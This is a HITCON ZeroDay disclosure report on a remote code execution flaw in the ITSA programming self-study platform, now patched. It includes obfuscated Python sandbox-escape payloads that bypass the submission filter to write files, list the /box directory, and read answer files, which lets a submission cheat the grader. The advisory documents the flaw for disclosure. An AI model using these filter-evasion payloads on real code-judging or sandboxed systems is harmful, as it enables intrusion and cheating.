ITSA 程式自學平臺 RCE - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2025-00696
  •  發信 Vendor: 教育部資訊及科技教育司
  • Title: ITSA 程式自學平臺 RCE
  • Introduction: 可以通過繳交的 python code 進行讀檔、寫檔等動作。

處理狀態

目前狀態

公開
Last Update : 2025/07/31
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 未複測
  • 公開

處理歷程

  • 2025/07/14 00:58:05 : 新提交 (由 Adb2 更新此狀態)
  • 2025/07/14 01:00:45 : 新提交 (由 Adb2 更新此狀態)
  • 2025/07/14 19:39:28 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/07/17 16:09:15 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/07/17 16:09:15 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/07/17 16:09:15 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/07/23 17:17:08 : 已修補 (由 組織帳號 更新此狀態)
  • 2025/07/31 03:00:17 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2025-00696
  • 通報者:Adb2 (Adb2)
  • 風險:中
  • 類型:遠端命令執行 (Remote Code Execution)

參考資料

攻擊者可經由該漏洞取得主機完整權限、任意寫入檔案及取得大量內網資訊。

漏洞說明: OWASP - Code Injection
https://www.owasp.org/index.php/Code_Injection

漏洞說明: OWASP - Command Injection
https://www.owasp.org/index.php/Command_Injection

漏洞說明: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
http://cwe.mitre.org/data/definitions/77.html

漏洞說明: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
http://cwe.mitre.org/data/definitions/78.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://etutor2.itsa.org.tw/

敘述

可以通過 python jailbreak 技巧規避掉原本的過濾機制。

寫檔

[
    cls for cls in object.__subclasses__() 
    if chr(111)+chr(115)+chr(46)+chr(95)+chr(119)+chr(114)+chr(97)+chr(112)+chr(95)+chr(99)+chr(108)+chr(111)+chr(115)+chr(101) in str(cls)
][0].__init__.__globals__[
    chr(115)+chr(121)+chr(115)
].modules[
    chr(98)+chr(117)+chr(105)+chr(108)+chr(116)+chr(105)+chr(110)+chr(115)
].__dict__[
    chr(111)+chr(112)+chr(101)+chr(110)
](
    chr(47)+chr(98)+chr(111)+chr(120)+chr(47)+chr(116)+chr(101)+chr(115)+chr(116)+chr(46)+chr(116)+chr(120)+chr(116),
    chr(119)
).close()

list_classes = object.__subclasses__()
get_func_with_sys = [cls for cls in list_classes if 'os._wrap_close' in str(cls)][0]
get_sys = get_func_with_sys.__init__.__globals__['sys']
get_o = get_sys.modules['os']
print(get_o.listdir('/box'))

這樣的寫法等效於

open('/box/test.txt', 'w').close()
os.listdir('/box')

圖片

讀檔

[
    cls for cls in object.__subclasses__() 
    if chr(111)+chr(115)+chr(46)+chr(95)+chr(119)+chr(114)+chr(97)+chr(112)+chr(95)+chr(99)+chr(108)+chr(111)+chr(115)+chr(101) in str(cls)
][0].__init__.__globals__[
    chr(115)+chr(121)+chr(115)
].modules[
    chr(98)+chr(117)+chr(105)+chr(108)+chr(116)+chr(105)+chr(110)+chr(115)
].__dict__[
    chr(112)+chr(114)+chr(105)+chr(110)+chr(116)
](
    [
        cls for cls in object.__subclasses__() 
        if chr(111)+chr(115)+chr(46)+chr(95)+chr(119)+chr(114)+chr(97)+chr(112)+chr(95)+chr(99)+chr(108)+chr(111)+chr(115)+chr(101) in str(cls)
    ][0].__init__.__globals__[
        chr(115)+chr(121)+chr(115)
    ].modules[
        chr(98)+chr(117)+chr(105)+chr(108)+chr(116)+chr(105)+chr(110)+chr(115)
    ].__dict__[
        chr(111)+chr(112)+chr(101)+chr(110)
    ](
        chr(111)+chr(117)+chr(116)+chr(112)+chr(117)+chr(116)+chr(49)+chr(46)+chr(116)+chr(120)+chr(116),
        chr(114)
    ).read()
)

這樣的寫法等效於

print(open("output1.txt").read())

因為前面可以使用 os.listdir() 所以知道測資就存在當前目錄下,將他 print 出來就可以拿到測資。因為測資就是答案所以直接通過。

圖片

參考資料

https://github.com/jailctf/pyjailbreaker

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;